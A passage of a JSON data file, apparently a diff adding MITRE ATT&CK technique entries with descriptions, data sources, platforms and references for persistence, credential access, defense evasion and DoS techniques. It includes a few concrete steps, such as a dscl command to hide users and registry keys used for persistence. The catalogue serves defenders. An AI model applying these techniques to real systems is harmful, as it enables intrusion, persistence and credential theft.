account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.\n\nThere is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).", + "meta": { + "external_id": "T1564.002", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Authentication logs" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1564/002", + "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty" + ] + }, + "related": [ + { + "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", + "type": "subtechnique-of" + } + ], + "uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", + "value": "Hidden Users - T1564.002" + }, + { + "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.", + "meta": { + "external_id": "T1547.002", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/002", + "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "b8cfed42-6a8a-4989-ad72-541af74475ec", + "value": "Authentication Package - T1547.002" + }, + { + "description": "Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", + "meta": { + "external_id": "T1498.002", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Sensor health and status", + "Network protocol analysis", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "Network device logs" + ], + "mitre_platforms": [ + "macOS", + "Windows", + "Linux", + "AWS", + "Office 365", + "Azure AD", + "GCP", + "Azure", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1498/002", + "https://blog.cloudflare.com/reflections-on-reflections/", + "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/", + "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/", + "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", + "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + ] + }, + "related": [ + { + "dest-uuid": "d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "type": "subtechnique-of" + } + ], + "uuid": "36b2a1d7-e09e-49bf-b45e-477076c2ec01", + "value": "Reflection Amplification - T1498.002" + }, + { + "description": "An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)", + "meta": { + "external_id": "T1555.002", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1555/002", + "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ] + }, + "related": [ + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "type": "subtechnique-of" + } + ], + "uuid": "1a80d097-54df-41d8-9d33-34e755ec5e72", + "value": "Securityd Memory - T1555.002" + }, + { + "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", + "meta": { + "external_id": "T1558.002", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1558/002", + "https://adsecurity.org/?p=2011", + "https://adsecurity.org/?p=1515", + "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + ] + }, + "related": [ + { + "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a", + "type": "subtechnique-of" + } + ], + "uuid": "d273434a-448e-4598-8e14-607f4a0d5e27", + "value": "Silver Ticket - T1558.002" + }, + { + "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ", + "meta": { + "external_id": "CAPEC-571", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Sensor health and status" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1562/006", + "https://capec.mitre.org/data/definitions/571.html", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A", + "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events", + "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63" + ] + }, + "related": [ + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "type": "subtechnique-of" + } + ], + "uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", + "value": "Indicator Blocking - T1562.006" + }, + { + "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to elicit sensitive information and/or gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)", + "meta": { + "external_id": "CAPEC-163", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Packet capture", + "Web proxy", + "Email gateway", + "Detonation chamber", + "SSL/TLS inspection", + "DNS records", + "Mail server" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1566/002", + "https://capec.mitre.org/data/definitions/163.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + ] + }, + "related": [ + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "type": "subtechnique-of" + } + ], + "uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "value": "Spearphishing Link - T1566.002" + }, + { + "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", + "meta": { + "external_id": "T1569.002", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1569/002", + "https://docs.microsoft.com/windows/win32/services/service-control-manager", + "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" + ] + }, + "related": [ + { + "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", + "type": "subtechnique-of" + } + ], + "uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "value": "Service Execution - T1569.002" + }, + { + "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). \n\nAdversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.\n\nAn adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. \n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ", + "meta": { + "external_id": "T1543.003", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Windows event logs", + "Process command-line parameters", + "Process monitoring", + "File monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1543/003", + "https://technet.microsoft.com/en-us/library/cc772408.aspx", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", + "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection" + ] + }, + "related": [ + { + "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "type": "subtechnique-of" + } + ], + "uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "value": "Windows Service - T1543.003" + }, + { + "description": "Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). \n\nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. \n\nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. ", + "meta": { + "external_id": "T1543.004", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1543/004", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + ] + }, + "related": [ + { + "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "type": "subtechnique-of" + } + ], + "uuid": "573ad264-1371-4ae0-8482-d2673b719dba", + "value": "Launch Daemon - T1543.004" + }, + { + "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)", + "meta": { + "external_id": "T1564.003", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "PowerShell logs" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1564/003", + "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + ] + }, + "related": [ + { + "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", + "type": "subtechnique-of" + } + ], + "uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "value": "Hidden Window - T1564.003" + }, + { + "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", + "meta": { + "external_id": "T1547.003", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "File monitoring", + "Loaded DLLs", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/003", + "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top", + "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", + "https://github.com/scottlundgren/w32time", + "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "61afc315-860c-4364-825d-0d62b2e91edc", + "value": "Time Providers - T1547.003" + }, + { + "description": "Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)", + "meta": { + "external_id": "T1568.003", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "DNS records" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1568/003", + "http://www.crowdstrike.com/blog/whois-numbered-panda/", + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html", + "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/" + ] + }, + "related": [ + { + "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "type": "subtechnique-of" + } + ], + "uuid": "83a766f8-1501-4b3a-a2de-2e2849e8dfc1", + "value": "DNS Calculation - T1568.003" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking ambiguous paths used to load libraries. Adversaries may plant trojan dynamic libraries, in a directory that will be searched by the operating system before the legitimate library specified by the victim program, so that their malicious library will be loaded into the victim program instead. MacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level.", + "meta": { + "external_id": "CAPEC-CAPEC", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/004", + "https://capec.mitre.org/data/definitions/CAPEC.html", + "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "fc742192-19e3-466c-9eb5-964a97b29490", + "value": "Dylib Hijacking - T1574.004" + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies. (Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time. (Citation: Malware Persistence on OS X)", + "meta": { + "external_id": "T1546.006", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring", + "Binary file metadata" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/006", + "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "10ff21b9-5a01-4268-a1b5-3b55015f1847", + "value": "LC_LOAD_DYLIB Addition - T1546.006" + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", + "meta": { + "external_id": "CAPEC-558", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/008", + "https://capec.mitre.org/data/definitions/558.html", + "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", + "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom", + "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", + "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "value": "Accessibility Features - T1546.008" + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ", + "meta": { + "external_id": "T1546.009", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/009", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://forum.sysinternals.com/appcertdlls_topic12546.html" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c", + "value": "AppCert DLLs - T1546.009" + }, + { + "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", + "meta": { + "external_id": "T1547.008", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "DLL monitoring", + "File monitoring", + "Loaded DLLs", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/008", + "https://technet.microsoft.com/library/cc961760.aspx", + "https://technet.microsoft.com/library/dn408187.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "f0589bc3-a6ae-425a-a3d5-5659bfee07f4", + "value": "LSASS Driver - T1547.008" + }, + { + "description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", + "meta": { + "external_id": "CAPEC-132", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + 